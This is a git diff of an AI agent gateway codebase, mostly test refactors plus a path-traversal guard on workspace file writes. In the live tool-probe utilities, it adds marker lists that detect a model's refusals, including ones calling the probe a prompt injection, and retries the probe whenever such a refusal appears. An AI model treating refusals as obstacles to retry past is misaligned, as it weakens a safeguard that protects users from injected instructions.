+ await processVoiceSegment(manager, "u-guest"); const commandArgs = agentCommandMock.mock.calls.at(-1)?.[0] as | { senderIsOwner?: boolean } @@ -374,26 +362,7 @@ describe("DiscordVoiceManager", () => { }, }); const manager = createManager({ allowFrom: ["discord:u-cache"] }, client); - const runSegment = async () => - await ( - manager as unknown as { - processSegment: (params: { - entry: unknown; - wavPath: string; - userId: string; - durationSeconds: number; - }) => Promise; - } - ).processSegment({ - entry: { - guildId: "g1", - channelId: "c1", - route: { sessionKey: "discord:g1:c1", agentId: "agent-1" }, - }, - wavPath: "/tmp/test.wav", - userId: "u-cache", - durationSeconds: 1.2, - }); + const runSegment = async () => await processVoiceSegment(manager, "u-cache"); await runSegment(); await runSegment(); diff --git a/src/gateway/auth-config-utils.ts b/src/gateway/auth-config-utils.ts new file mode 100644 index 00000000000..f62e60f85ea --- /dev/null +++ b/src/gateway/auth-config-utils.ts @@ -0,0 +1,69 @@ +import type { GatewayAuthConfig, OpenClawConfig } from "../config/config.js"; +import { resolveSecretInputRef } from "../config/types.secrets.js"; +import { secretRefKey } from "../secrets/ref-contract.js"; +import { resolveSecretRefValues } from "../secrets/resolve.js"; + +export function withGatewayAuthPassword(cfg: OpenClawConfig, password: string): OpenClawConfig { + return { + ...cfg, + gateway: { + ...cfg.gateway, + auth: { + ...cfg.gateway?.auth, + password, + }, + }, + }; +} + +function shouldResolveGatewayPasswordSecretRef(params: { + mode?: GatewayAuthConfig["mode"]; + hasPasswordCandidate: boolean; + hasTokenCandidate: boolean; +}): boolean { + if (params.hasPasswordCandidate) { + return false; + } + if (params.mode === "password") { + return true; + } + if (params.mode === "token" || params.mode === "none" || params.mode === "trusted-proxy") { + return false; + } + return !params.hasTokenCandidate; +} + +export async function resolveGatewayPasswordSecretRef(params: { + cfg: OpenClawConfig; + env: NodeJS.ProcessEnv; + mode?: GatewayAuthConfig["mode"]; + hasPasswordCandidate: boolean; + hasTokenCandidate: boolean; +}): Promise { + const authPassword = params.cfg.gateway?.auth?.password; + const { ref } = resolveSecretInputRef({ + value: authPassword, + defaults: params.cfg.secrets?.defaults, + }); + if (!ref) { + return params.cfg; + } + if ( + !shouldResolveGatewayPasswordSecretRef({ + mode: params.mode, + hasPasswordCandidate: params.hasPasswordCandidate, + hasTokenCandidate: params.hasTokenCandidate, + }) + ) { + return params.cfg; + } + const resolved = await resolveSecretRefValues([ref], { + config: params.cfg, + env: params.env, + }); + const value = resolved.get(secretRefKey(ref)); + if (typeof value !== "string" || value.trim().length === 0) { + throw new Error("gateway.auth.password resolved to an empty or non-string value."); + } + return withGatewayAuthPassword(params.cfg, value.trim()); +} diff --git a/src/gateway/call.ts b/src/gateway/call.ts index fa140608216..5d036a0d32a 100644 --- a/src/gateway/call.ts +++ b/src/gateway/call.ts @@ -9,8 +9,7 @@ import { import { hasConfiguredSecretInput, resolveSecretInputRef } from "../config/types.secrets.js"; import { loadOrCreateDeviceIdentity } from "../infra/device-identity.js"; import { loadGatewayTlsRuntime } from "../infra/tls/gateway.js"; -import { secretRefKey } from "../secrets/ref-contract.js"; -import { resolveSecretRefValues } from "../secrets/resolve.js"; +import { resolveSecretInputString } from "../secrets/resolve-secret-input-string.js"; import { GATEWAY_CLIENT_MODES, GATEWAY_CLIENT_NAMES, @@ -312,23 +311,16 @@ async function resolveGatewaySecretInputString(params: { path: string; env: NodeJS.ProcessEnv; }): Promise { - const defaults = params.config.secrets?.defaults; - const { ref } = resolveSecretInputRef({ - value: params.value, - defaults, - }); - if (!ref) { - return trimToUndefined(params.value); - } - const resolved = await resolveSecretRefValues([ref], { + const value = await resolveSecretInputString({ config: params.config, + value: params.value, env: params.env, + normalize: trimToUndefined, }); - const resolvedValue = trimToUndefined(resolved.get(secretRefKey(ref))); - if (!resolvedValue) { + if (!value) { throw new Error(`${params.path} resolved to an empty or non-string value.`); } - return resolvedValue; + return value; } async function resolveGatewayCredentials(context: ResolvedGatewayCallContext): Promise<{ diff --git a/src/gateway/credentials.test.ts b/src/gateway/credentials.test.ts index 67e2b4dac09..3af265e10f5 100644 --- a/src/gateway/credentials.test.ts +++ b/src/gateway/credentials.test.ts @@ -50,6 +50,27 @@ function resolveRemoteModeWithRemoteCredentials( ); } +function resolveLocalModeWithUnresolvedPassword(mode: "none" | "trusted-proxy") { + return resolveGatewayCredentialsFromConfig({ + cfg: { + gateway: { + mode: "local", + auth: { + mode, + password: { source: "env", provider: "default", id: "MISSING_GATEWAY_PASSWORD" }, + }, + }, + secrets: { + providers: { + default: { source: "env" }, + }, + }, + } as unknown as OpenClawConfig, + env: {} as NodeJS.ProcessEnv, + includeLegacyEnv: false, + }); +} + describe("resolveGatewayCredentialsFromConfig", () => { it("prefers explicit credentials over config and environment", () => { const resolved = resolveGatewayCredentialsFor( @@ -182,24 +203,7 @@ describe("resolveGatewayCredentialsFromConfig", () => { }); it("ignores unresolved local password ref when local auth mode is none", () => { - const resolved = resolveGatewayCredentialsFromConfig({ - cfg: { - gateway: { - mode: "local", - auth: { - mode: "none", - password: { source: "env", provider: "default", id: "MISSING_GATEWAY_PASSWORD" }, - }, - }, - secrets: { - providers: { - default: { source: "env" }, - }, - }, - } as unknown as OpenClawConfig, - env: {} as NodeJS.ProcessEnv, - includeLegacyEnv: false, - }); + const resolved = resolveLocalModeWithUnresolvedPassword("none"); expect(resolved).toEqual({ token: undefined, password: undefined, @@ -207,24 +211,7 @@ describe("resolveGatewayCredentialsFromConfig", () => { }); it("ignores unresolved local password ref when local auth mode is trusted-proxy", () => { - const resolved = resolveGatewayCredentialsFromConfig({ - cfg: { - gateway: { - mode: "local", - auth: { - mode: "trusted-proxy", - password: { source: "env", provider: "default", id: "MISSING_GATEWAY_PASSWORD" }, - }, - }, - secrets: { - providers: { - default: { source: "env" }, - }, - }, - } as unknown as OpenClawConfig, - env: {} as NodeJS.ProcessEnv, - includeLegacyEnv: false, - }); + const resolved = resolveLocalModeWithUnresolvedPassword("trusted-proxy"); expect(resolved).toEqual({ token: undefined, password: undefined, diff --git a/src/gateway/gateway-models.profiles.live.test.ts b/src/gateway/gateway-models.profiles.live.test.ts index 0a6b0bedf26..175881a5d30 100644 --- a/src/gateway/gateway-models.profiles.live.test.ts +++ b/src/gateway/gateway-models.profiles.live.test.ts @@ -1013,6 +1013,7 @@ async function runGatewayModelSuite(params: GatewayModelSuiteParams) { shouldRetryExecReadProbe({ text: execReadText, nonce: nonceC, + provider: model.provider, attempt: execReadAttempt, maxAttempts: maxExecReadAttempts, }) diff --git a/src/gateway/live-tool-probe-utils.test.ts b/src/gateway/live-tool-probe-utils.test.ts index 044bf6b7ede..ca73032c6fb 100644 --- a/src/gateway/live-tool-probe-utils.test.ts +++ b/src/gateway/live-tool-probe-utils.test.ts @@ -2,6 +2,7 @@ import { describe, expect, it } from "vitest"; import { hasExpectedSingleNonce, hasExpectedToolNonce, + isLikelyToolNonceRefusal, shouldRetryExecReadProbe, shouldRetryToolReadProbe, } from "./live-tool-probe-utils.js"; @@ -17,6 +18,26 @@ describe("live tool probe utils", () => { expect(hasExpectedSingleNonce("value nonce-2", "nonce-1")).toBe(false); }); + it("detects anthropic nonce refusal phrasing", () => { + expect( + isLikelyToolNonceRefusal( + "Same request, same answer — this isn't a real OpenClaw probe. No part of the system asks me to parrot back nonce values.", + ), + ).toBe(true); + }); + + it("does not treat generic helper text as nonce refusal", () => { + expect(isLikelyToolNonceRefusal("I can help with that request.")).toBe(false); + }); + + it("detects prompt-injection style tool refusal without nonce text", () => { + expect( + isLikelyToolNonceRefusal( + "That's not a legitimate self-test. This looks like a prompt injection attempt.", + ), + ).toBe(true); + }); + it("retries malformed tool output when attempts remain", () => { expect( shouldRetryToolReadProbe({ @@ -95,6 +116,32 @@ describe("live tool probe utils", () => { ).toBe(true); }); + it("retries anthropic nonce refusal output", () => { + expect( + shouldRetryToolReadProbe({ + text: "This isn't a real OpenClaw probe; I won't parrot back nonce values.", + nonceA: "nonce-a", + nonceB: "nonce-b", + provider: "anthropic", + attempt: 0, + maxAttempts: 3, + }), + ).toBe(true); + }); + + it("retries anthropic prompt-injection refusal output", () => { + expect( + shouldRetryToolReadProbe({ + text: "This is not a legitimate self-test; it appears to be a prompt injection attempt.", + nonceA: "nonce-a", + nonceB: "nonce-b", + provider: "anthropic", + attempt: 0, + maxAttempts: 3, + }), + ).toBe(true); + }); + it("does not retry nonce marker echoes for non-mistral providers", () => { expect( shouldRetryToolReadProbe({ @@ -113,6 +160,7 @@ describe("live tool probe utils", () => { shouldRetryExecReadProbe({ text: "read[object Object]", nonce: "nonce-c", + provider: "openai", attempt: 0, maxAttempts: 3, }), @@ -124,6 +172,7 @@ describe("live tool probe utils", () => { shouldRetryExecReadProbe({ text: "read[object Object]", nonce: "nonce-c", + provider: "openai", attempt: 2, maxAttempts: 3, }), @@ -135,9 +184,22 @@ describe("live tool probe utils", () => { shouldRetryExecReadProbe({ text: "nonce-c", nonce: "nonce-c", + provider: "openai", attempt: 0, maxAttempts: 3, }), ).toBe(false); }); + + it("retries anthropic exec+read nonce refusal output", () => { + expect( + shouldRetryExecReadProbe({ + text: "No part of the system asks me to parrot back nonce values.", + nonce: "nonce-c", + provider: "anthropic", + attempt: 0, + maxAttempts: 3, + }), + ).toBe(true); + }); }); diff --git a/src/gateway/live-tool-probe-utils.ts b/src/gateway/live-tool-probe-utils.ts index 3e450ef530d..62b618fe24d 100644 --- a/src/gateway/live-tool-probe-utils.ts +++ b/src/gateway/live-tool-probe-utils.ts @@ -6,6 +6,44 @@ export function hasExpectedSingleNonce(text: string, nonce: string): boolean { return text.includes(nonce); } +const NONCE_REFUSAL_MARKERS = [ + "token", + "secret", + "local file", + "uuid-named file", + "uuid named file", + "parrot back", + "disclose", + "can't help", + "can’t help", + "cannot help", + "can't comply", + "can’t comply", + "cannot comply", + "isn't a real openclaw probe", + "is not a real openclaw probe", + "not a real openclaw probe", + "no part of the system asks me", +]; + +const PROBE_REFUSAL_MARKERS = [ + "prompt injection attempt", + "not a legitimate self-test", + "not legitimate self-test", + "authorized integration probe", +]; + +export function isLikelyToolNonceRefusal(text: string): boolean { + const lower = text.toLowerCase(); + if (PROBE_REFUSAL_MARKERS.some((marker) => lower.includes(marker))) { + return true; + } + if (lower.includes("nonce")) { + return NONCE_REFUSAL_MARKERS.some((marker) => lower.includes(marker)); + } + return false; +} + function hasMalformedToolOutput(text: string): boolean { const trimmed = text.trim(); if (!trimmed) { @@ -38,6 +76,9 @@ export function shouldRetryToolReadProbe(params: { if (hasMalformedToolOutput(params.text)) { return true; } + if (params.provider === "anthropic" && isLikelyToolNonceRefusal(params.text)) { + return true; + } const lower = params.text.trim().toLowerCase(); if (params.provider === "mistral" && (lower.includes("noncea=") || lower.includes("nonceb="))) { return true; @@ -48,6 +89,7 @@ export function shouldRetryToolReadProbe(params: { export function shouldRetryExecReadProbe(params: { text: string; nonce: string; + provider: string; attempt: number; maxAttempts: number; }): boolean { @@ -57,5 +99,8 @@ export function shouldRetryExecReadProbe(params: { if (hasExpectedSingleNonce(params.text, params.nonce)) { return false; } + if (params.provider === "anthropic" && isLikelyToolNonceRefusal(params.text)) { + return true; + } return hasMalformedToolOutput(params.text); } diff --git a/src/gateway/openai-http.message-channel.test.ts b/src/gateway/openai-http.message-channel.test.ts index 153570bdf08..3c602cbac18 100644 --- a/src/gateway/openai-http.message-channel.test.ts +++ b/src/gateway/openai-http.message-channel.test.ts @@ -3,77 +3,57 @@ import { agentCommand, installGatewayTestHooks, withGatewayServer } from "./test installGatewayTestHooks({ scope: "test" }); +const OPENAI_SERVER_OPTIONS = { + host: "127.0.0.1", + auth: { mode: "token" as const, token: "secret" }, + controlUiEnabled: false, + openAiChatCompletionsEnabled: true, +}; + +async function runOpenAiMessageChannelRequest(params?: { messageChannelHeader?: string }) { + agentCommand.mockReset(); + agentCommand.mockResolvedValueOnce({ payloads: [{ text: "ok" }] } as never); + + let firstCall: { messageChannel?: string } | undefined; + await withGatewayServer( + async ({ port }) => { + const headers: Record = { + "content-type": "application/json", + authorization: "Bearer secret", + }; + if (params?.messageChannelHeader) { + headers["x-openclaw-message-channel"] = params.messageChannelHeader; + } + const res = await fetch(`http://127.0.0.1:${port}/v1/chat/completions`, { + method: "POST", + headers, + body: JSON.stringify({ + model: "openclaw", + messages: [{ role: "user", content: "hi" }], + }), + }); + + expect(res.status).toBe(200); + firstCall = (agentCommand.mock.calls[0] as unknown[] | undefined)?.[0] as + | { messageChannel?: string } + | undefined; + await res.text(); + }, + { serverOptions: OPENAI_SERVER_OPTIONS }, + ); + return firstCall; +} + describe("OpenAI HTTP message channel", () => { it("passes x-openclaw-message-channel through to agentCommand", async () => { - agentCommand.mockReset(); - agentCommand.mockResolvedValueOnce({ payloads: [{ text: "ok" }] } as never); - - await withGatewayServer( - async ({ port }) => { - const res = await fetch(`http://127.0.0.1:${port}/v1/chat/completions`, { - method: "POST", - headers: { - "content-type": "application/json", - authorization: "Bearer secret", - "x-openclaw-message-channel": "custom-client-channel", - }, - body: JSON.stringify({ - model: "openclaw", - messages: [{ role: "user", content: "hi" }], - }), - }); - - expect(res.status).toBe(200); - const firstCall = (agentCommand.mock.calls[0] as unknown[] | undefined)?.[0] as - | { messageChannel?: string } - | undefined; - expect(firstCall?.messageChannel).toBe("custom-client-channel"); - await res.text(); - }, - { - serverOptions: { - host: "127.0.0.1", - auth: { mode: "token", token: "secret" }, - controlUiEnabled: false, - openAiChatCompletionsEnabled: true, - }, - }, - ); + const firstCall = await runOpenAiMessageChannelRequest({ + messageChannelHeader: "custom-client-channel", + }); + expect(firstCall?.messageChannel).toBe("custom-client-channel"); }); it("defaults messageChannel to webchat when header is absent", async () => { - agentCommand.mockReset(); - agentCommand.mockResolvedValueOnce({ payloads: [{ text: "ok" }] } as never); - - await withGatewayServer( - async ({ port }) => { - const res = await fetch(`http://127.0.0.1:${port}/v1/chat/completions`, { - method: "POST", - headers: { - "content-type": "application/json", - authorization: "Bearer secret", - }, - body: JSON.stringify({ - model: "openclaw", - messages: [{ role: "user", content: "hi" }], - }), - }); - - expect(res.status).toBe(200); - const firstCall = (agentCommand.mock.calls[0] as unknown[] | undefined)?.[0] as - | { messageChannel?: string } - | undefined; - expect(firstCall?.messageChannel).toBe("webchat"); - await res.text(); - }, - { - serverOptions: { - host: "127.0.0.1", - auth: { mode: "token", token: "secret" }, - controlUiEnabled: false, - openAiChatCompletionsEnabled: true, - }, - }, - ); + const firstCall = await runOpenAiMessageChannelRequest(); + expect(firstCall?.messageChannel).toBe("webchat"); }); }); diff --git a/src/gateway/server-methods/agents-mutate.test.ts b/src/gateway/server-methods/agents-mutate.test.ts index 66774715eb8..1cd88825b8a 100644 --- a/src/gateway/server-methods/agents-mutate.test.ts +++ b/src/gateway/server-methods/agents-mutate.test.ts @@ -31,6 +31,7 @@ const mocks = vi.hoisted(() => ({ fsLstat: vi.fn(async (..._args: unknown[]) => null as import("node:fs").Stats | null), fsRealpath: vi.fn(async (p: string) => p), fsOpen: vi.fn(async () => ({}) as unknown), + writeFileWithinRoot: vi.fn(async () => {}), })); vi.mock("../../config/config.js", () => ({ @@ -77,6 +78,15 @@ vi.mock("../session-utils.js", () => ({ listAgentsForGateway: mocks.listAgentsForGateway, })); +vi.mock("../../infra/fs-safe.js", async () => { + const actual = + await vi.importActual("../../infra/fs-safe.js"); + return { + ...actual, + writeFileWithinRoot: mocks.writeFileWithinRoot, + }; +}); + // Mock node:fs/promises – agents.ts uses `import fs from "node:fs/promises"` // which resolves to the module namespace default, so we spread actual and // override the methods we need, plus set `default` explicitly. diff --git a/src/gateway/server-methods/agents.ts b/src/gateway/server-methods/agents.ts index 88e362a36d4..b9de9b797aa 100644 --- a/src/gateway/server-methods/agents.ts +++ b/src/gateway/server-methods/agents.ts @@ -732,10 +732,19 @@ export const agentsHandlers: GatewayRequestHandlers = { return; } const content = String(params.content ?? ""); + const relativeWritePath = path.relative(resolvedPath.workspaceReal, resolvedPath.ioPath); + if ( + !relativeWritePath || + relativeWritePath.startsWith("..") || + path.isAbsolute(relativeWritePath) + ) { + respondWorkspaceFileUnsafe(respond, name); + return; + } try { await writeFileWithinRoot({ - rootDir: workspaceDir, - relativePath: name, + rootDir: resolvedPath.workspaceReal, + relativePath: relativeWritePath, data: content, encoding: "utf8", }); diff --git a/src/gateway/server-methods/nodes.ts b/src/gateway/server-methods/nodes.ts index 37433e10dfc..848fa0dfea5 100644 --- a/src/gateway/server-methods/nodes.ts +++ b/src/gateway/server-methods/nodes.ts @@ -274,20 +274,7 @@ export const nodeHandlers: GatewayRequestHandlers = { }); return; } - const p = params as { - nodeId: string; - displayName?: string; - platform?: string; - version?: string; - coreVersion?: string; - uiVersion?: string; - deviceFamily?: string; - modelIdentifier?: string; - caps?: string[]; - commands?: string[]; - remoteIp?: string; - silent?: boolean; - }; + const p = params as Parameters[0]; await respondUnavailableOnThrow(respond, async () => { const result = await requestNodePairing({ nodeId: p.nodeId, @@ -300,6 +287,7 @@ export const nodeHandlers: GatewayRequestHandlers = { modelIdentifier: p.modelIdentifier, caps: p.caps, commands: p.commands, + permissions: p.permissions, remoteIp: p.remoteIp, silent: p.silent, }); diff --git a/src/gateway/server-methods/secrets.test.ts b/src/gateway/server-methods/secrets.test.ts index 0b041d948bd..c0afd2520dc 100644 --- a/src/gateway/server-methods/secrets.test.ts +++ b/src/gateway/server-methods/secrets.test.ts @@ -17,6 +17,27 @@ async function invokeSecretsReload(params: { }); } +async function invokeSecretsResolve(params: { + handlers: ReturnType; + respond: ReturnType; + commandName: unknown; + targetIds: unknown; +}) { + await params.handlers["secrets.resolve"]({ + req: { type: "req", id: "1", method: "secrets.resolve" }, + params: { + commandName: params.commandName, + targetIds: params.targetIds, + }, + client: null, + isWebchatConnect: () => false, + respond: params.respond as unknown as Parameters< + ReturnType["secrets.resolve"] + >[0]["respond"], + context: {} as never, + }); +} + describe("secrets handlers", () => { function createHandlers(overrides?: { reloadSecrets?: () => Promise<{ warningCount: number }>; @@ -73,13 +94,11 @@ describe("secrets handlers", () => { }); const handlers = createHandlers({ resolveSecrets }); const respond = vi.fn(); - await handlers["secrets.resolve"]({ - req: { type: "req", id: "1", method: "secrets.resolve" }, - params: { commandName: "memory status", targetIds: ["talk.apiKey"] }, - client: null, - isWebchatConnect: () => false, + await invokeSecretsResolve({ + handlers, respond, - context: {} as never, + commandName: "memory status", + targetIds: ["talk.apiKey"], }); expect(resolveSecrets).toHaveBeenCalledWith({ commandName: "memory status", @@ -96,13 +115,11 @@ describe("secrets handlers", () => { it("rejects invalid secrets.resolve params", async () => { const handlers = createHandlers(); const respond = vi.fn(); - await handlers["secrets.resolve"]({ - req: { type: "req", id: "1", method: "secrets.resolve" }, - params: { commandName: "", targetIds: "bad" }, - client: null, - isWebchatConnect: () => false, + await invokeSecretsResolve({ + handlers, respond, - context: {} as never, + commandName: "", + targetIds: "bad", }); expect(respond).toHaveBeenCalledWith( false, @@ -117,13 +134,11 @@ describe("secrets handlers", () => { const resolveSecrets = vi.fn(); const handlers = createHandlers({ resolveSecrets }); const respond = vi.fn(); - await handlers["secrets.resolve"]({ - req: { type: "req", id: "1", method: "secrets.resolve" }, - params: { commandName: "memory status", targetIds: ["talk.apiKey", 12] }, - client: null, - isWebchatConnect: () => false, + await invokeSecretsResolve({ + handlers, respond, - context: {} as never, + commandName: "memory status", + targetIds: ["talk.apiKey", 12], }); expect(resolveSecrets).not.toHaveBeenCalled(); expect(respond).toHaveBeenCalledWith( @@ -140,13 +155,11 @@ describe("secrets handlers", () => { const resolveSecrets = vi.fn(); const handlers = createHandlers({ resolveSecrets }); const respond = vi.fn(); - await handlers["secrets.resolve"]({ - req: { type: "req", id: "1", method: "secrets.resolve" }, - params: { commandName: "memory status", targetIds: ["unknown.target"] }, - client: null, - isWebchatConnect: () => false, + await invokeSecretsResolve({ + handlers, respond, - context: {} as never, + commandName: "memory status", + targetIds: ["unknown.target"], }); expect(resolveSecrets).not.toHaveBeenCalled(); expect(respond).toHaveBeenCalledWith( @@ -167,13 +180,11 @@ describe("secrets handlers", () => { }); const handlers = createHandlers({ resolveSecrets }); const respond = vi.fn(); - await handlers["secrets.resolve"]({ - req: { type: "req", id: "1", method: "secrets.resolve" }, - params: { commandName: "memory status", targetIds: ["talk.apiKey"] }, - client: null, - isWebchatConnect: () => false, + await invokeSecretsResolve({ + handlers, respond, - context: {} as never, + commandName: "memory status", + targetIds: ["talk.apiKey"], }); expect(respond).toHaveBeenCalledWith( false, diff --git a/src/gateway/server.cron.test.ts b/src/gateway/server.cron.test.ts index 3c6c128e11a..4a21354605d 100644 --- a/src/gateway/server.cron.test.ts +++ b/src/gateway/server.cron.test.ts @@ -151,6 +151,35 @@ async function addMainSystemEventCronJob(params: { ws: WebSocket; name: string; return expectCronJobIdFromResponse(response); } +async function addWebhookCronJob(params: { + ws: WebSocket; + name: string; + sessionTarget?: "main" | "isolated"; + payloadText?: string; + delivery: Record; +}) { + const response = await rpcReq(params.ws, "cron.add", { + name: params.name, + enabled: true, + schedule: { kind: "every", everyMs: 60_000 }, + sessionTarget: params.sessionTarget ?? "main", + wakeMode: "next-heartbeat", + payload: { + kind: params.sessionTarget === "isolated" ? "agentTurn" : "systemEvent", + ...(params.sessionTarget === "isolated" + ? { message: params.payloadText ?? "test" } + : { text: params.payloadText ?? "send webhook" }), + }, + delivery: params.delivery, + }); + return expectCronJobIdFromResponse(response); +} + +async function runCronJobForce(ws: WebSocket, id: string) { + const response = await rpcReq(ws, "cron.run", { id, mode: "force" }, 20_000); + expect(response.ok).toBe(true); +} + function getWebhookCall(index: number) { const [args] = fetchWithSsrFGuardMock.mock.calls[index] as unknown as [ { @@ -574,22 +603,12 @@ describe("gateway server cron", () => { }); expect(invalidWebhookRes.ok).toBe(false); - const notifyRes = await rpcReq(ws, "cron.add", { + const notifyJobId = await addWebhookCronJob({ + ws, name: "webhook enabled", - enabled: true, - schedule: { kind: "every", everyMs: 60_000 }, - sessionTarget: "main", - wakeMode: "next-heartbeat", - payload: { kind: "systemEvent", text: "send webhook" }, delivery: { mode: "webhook", to: "https://example.invalid/cron-finished" }, }); - expect(notifyRes.ok).toBe(true); - const notifyJobIdValue = (notifyRes.payload as { id?: unknown } | null)?.id; - const notifyJobId = typeof notifyJobIdValue === "string" ? notifyJobIdValue : ""; - expect(notifyJobId.length > 0).toBe(true); - - const notifyRunRes = await rpcReq(ws, "cron.run", { id: notifyJobId, mode: "force" }, 20_000); - expect(notifyRunRes.ok).toBe(true); + await runCronJobForce(ws, notifyJobId); await waitForCondition( () => fetchWithSsrFGuardMock.mock.calls.length === 1, @@ -644,13 +663,10 @@ describe("gateway server cron", () => { fetchWithSsrFGuardMock.mockClear(); cronIsolatedRun.mockResolvedValueOnce({ status: "error", summary: "delivery failed" }); - const failureDestRes = await rpcReq(ws, "cron.add", { + const failureDestJobId = await addWebhookCronJob({ + ws, name: "failure destination webhook", - enabled: true, - schedule: { kind: "every", everyMs: 60_000 }, sessionTarget: "isolated", - wakeMode: "next-heartbeat", - payload: { kind: "agentTurn", message: "test" }, delivery: { mode: "announce", channel: "telegram", @@ -661,19 +677,7 @@ describe("gateway server cron", () => { }, }, }); - expect(failureDestRes.ok).toBe(true); - const failureDestJobIdValue = (failureDestRes.payload as { id?: unknown } | null)?.id; - const failureDestJobId = - typeof failureDestJobIdValue === "string" ? failureDestJobIdValue : ""; - expect(failureDestJobId.length > 0).toBe(true); - - const failureDestRunRes = await rpcReq( - ws, - "cron.run", - { id: failureDestJobId, mode: "force" }, - 20_000, - ); - expect(failureDestRunRes.ok).toBe(true); + await runCronJobForce(ws, failureDestJobId); await waitForCondition( () => fetchWithSsrFGuardMock.mock.calls.length === 1, CRON_WAIT_TIMEOUT_MS, @@ -686,27 +690,13 @@ describe("gateway server cron", () => { ); cronIsolatedRun.mockResolvedValueOnce({ status: "ok", summary: "" }); - const noSummaryRes = await rpcReq(ws, "cron.add", { + const noSummaryJobId = await addWebhookCronJob({ + ws, name: "webhook no summary", - enabled: true, - schedule: { kind: "every", everyMs: 60_000 }, sessionTarget: "isolated", - wakeMode: "next-heartbeat", - payload: { kind: "agentTurn", message: "test" }, delivery: { mode: "webhook", to: "https://example.invalid/cron-finished" }, }); - expect(noSummaryRes.ok).toBe(true); - const noSummaryJobIdValue = (noSummaryRes.payload as { id?: unknown } | null)?.id; - const noSummaryJobId = typeof noSummaryJobIdValue === "string" ? noSummaryJobIdValue : ""; - expect(noSummaryJobId.length > 0).toBe(true); - - const noSummaryRunRes = await rpcReq( - ws, - "cron.run", - { id: noSummaryJobId, mode: "force" }, - 20_000, - ); - expect(noSummaryRunRes.ok).toBe(true); + await runCronJobForce(ws, noSummaryJobId); await yieldToEventLoop(); await yieldToEventLoop(); expect(fetchWithSsrFGuardMock).toHaveBeenCalledTimes(1); @@ -746,22 +736,12 @@ describe("gateway server cron", () => { await connectOk(ws); try { - const notifyRes = await rpcReq(ws, "cron.add", { + const notifyJobId = await addWebhookCronJob({ + ws, name: "webhook secretinput object", - enabled: true, - schedule: { kind: "every", everyMs: 60_000 }, - sessionTarget: "main", - wakeMode: "next-heartbeat", - payload: { kind: "systemEvent", text: "send webhook" }, delivery: { mode: "webhook", to: "https://example.invalid/cron-finished" }, }); - expect(notifyRes.ok).toBe(true); - const notifyJobIdValue = (notifyRes.payload as { id?: unknown } | null)?.id; - const notifyJobId = typeof notifyJobIdValue === "string" ? notifyJobIdValue : ""; - expect(notifyJobId.length > 0).toBe(true); - - const notifyRunRes = await rpcReq(ws, "cron.run", { id: notifyJobId, mode: "force" }, 20_000); - expect(notifyRunRes.ok).toBe(true); + await runCronJobForce(ws, notifyJobId); await waitForCondition( () => fetchWithSsrFGuardMock.mock.calls.length === 1, diff --git a/src/gateway/test-helpers.server.ts b/src/gateway/test-helpers.server.ts index ab5269f09b5..eca3a107e69 100644 --- a/src/gateway/test-helpers.server.ts +++ b/src/gateway/test-helpers.server.ts @@ -339,6 +339,46 @@ async function startGatewayServerWithRetries(params: { throw new Error("failed to start gateway server after retries"); } +async function waitForWebSocketOpen(ws: WebSocket, timeoutMs = 10_000): Promise { + await new Promise((resolve, reject) => { + const timer = setTimeout(() => reject(new Error("timeout waiting for ws open")), timeoutMs); + const cleanup = () => { + clearTimeout(timer); + ws.off("open", onOpen); + ws.off("error", onError); + ws.off("close", onClose); + }; + const onOpen = () => { + cleanup(); + resolve(); + }; + const onError = (err: unknown) => { + cleanup(); + reject(err instanceof Error ? err : new Error(String(err))); + }; + const onClose = (code: number, reason: Buffer) => { + cleanup(); + reject(new Error(`closed ${code}: ${reason.toString()}`)); + }; + ws.once("open", onOpen); + ws.once("error", onError); + ws.once("close", onClose); + }); +} + +async function openTrackedWebSocket(params: { + port: number; + headers?: Record; +}): Promise { + const ws = new WebSocket( + `ws://127.0.0.1:${params.port}`, + params.headers ? { headers: params.headers } : undefined, + ); + trackConnectChallengeNonce(ws); + await waitForWebSocketOpen(ws); + return ws; +} + export async function withGatewayServer( fn: (ctx: { port: number; server: Awaited> }) => Promise, opts?: { port?: number; serverOptions?: GatewayServerOptions }, @@ -371,33 +411,10 @@ export async function createGatewaySuiteHarness(opts?: { port: started.port, server: started.server, openWs: async (headers?: Record) => { - const ws = new WebSocket(`ws://127.0.0.1:${started.port}`, headers ? { headers } : undefined); - trackConnectChallengeNonce(ws); - await new Promise((resolve, reject) => { - const timer = setTimeout(() => reject(new Error("timeout waiting for ws open")), 10_000); - const cleanup = () => { - clearTimeout(timer); - ws.off("open", onOpen); - ws.off("error", onError); - ws.off("close", onClose); - }; - const onOpen = () => { - cleanup(); - resolve(); - }; - const onError = (err: unknown) => { - cleanup(); - reject(err instanceof Error ? err : new Error(String(err))); - }; - const onClose = (code: number, reason: Buffer) => { - cleanup(); - reject(new Error(`closed ${code}: ${reason.toString()}`)); - }; - ws.once("open", onOpen); - ws.once("error", onError); - ws.once("close", onClose); + return await openTrackedWebSocket({ + port: started.port, + headers, }); - return ws; }, close: async () => { await started.server.close(); @@ -431,35 +448,7 @@ export async function startServerWithClient( port = started.port; const server = started.server; - const ws = new WebSocket( - `ws://127.0.0.1:${port}`, - wsHeaders ? { headers: wsHeaders } : undefined, - ); - trackConnectChallengeNonce(ws); - await new Promise((resolve, reject) => { - const timer = setTimeout(() => reject(new Error("timeout waiting for ws open")), 10_000); - const cleanup = () => { - clearTimeout(timer); - ws.off("open", onOpen); - ws.off("error", onError); - ws.off("close", onClose); - }; - const onOpen = () => { - cleanup(); - resolve(); - }; - const onError = (err: unknown) => { - cleanup(); - reject(err instanceof Error ? err : new Error(String(err))); - }; - const onClose = (code: number, reason: Buffer) => { - cleanup(); - reject(new Error(`closed ${code}: ${reason.toString()}`)); - }; - ws.once("open", onOpen); - ws.once("error", onError); - ws.once("close", onClose); - }); + const ws = await openTrackedWebSocket({ port, headers: wsHeaders }); return { server, ws, port, prevToken: prev, envSnapshot }; } diff --git a/src/hooks/frontmatter.ts b/src/hooks/frontmatter.ts index aa9e75537d3..686f966ccbf 100644 --- a/src/hooks/frontmatter.ts +++ b/src/hooks/frontmatter.ts @@ -1,5 +1,6 @@ import { parseFrontmatterBlock } from "../markdown/frontmatter.js"; import { + applyOpenClawManifestInstallCommonFields, getFrontmatterString, normalizeStringList, parseOpenClawManifestInstallBase, @@ -27,19 +28,12 @@ function parseInstallSpec(input: unknown): HookInstallSpec | undefined { return undefined; } const { raw } = parsed; - const spec: HookInstallSpec = { - kind: parsed.kind as HookInstallSpec["kind"], - }; - - if (parsed.id) { - spec.id = parsed.id; - } - if (parsed.label) { - spec.label = parsed.label; - } - if (parsed.bins) { - spec.bins = parsed.bins; - } + const spec = applyOpenClawManifestInstallCommonFields( + { + kind: parsed.kind as 